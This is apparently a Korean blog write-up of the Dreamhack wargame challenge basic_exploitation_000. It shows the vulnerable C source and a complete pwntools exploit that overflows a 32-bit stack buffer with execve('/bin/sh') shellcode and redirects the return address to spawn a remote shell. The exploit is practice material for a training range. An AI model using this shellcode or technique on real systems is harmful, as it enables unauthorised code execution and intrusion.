[Dreamhack Wargame] basic_exploitation_000

don't panic·2024년 2월 8일
0

System Hacking wargame

목록 보기
38/39

code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}
  • 보호기법은 아무것도 걸려있지 않다.
  • 그러면 buf에 shellcode를 담고, return address를 buf로 되돌아가도록 만들면 되겠다. 32비트 환경인 것을 기억하자.

exploit

from pwn import *

p = remote('host3.dreamhack.games', 10501)
context.arch = 'i386'
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

p.recvuntil(b'= (')
buf_addr = int(p.recvuntil(b')')[:-1], 16)
p.recvline()
payload = shellcode + b'A' * (0x84 - len(shellcode))
payload += p32(buf_addr)

p.sendline(payload)

p.interactive()

0개의 댓글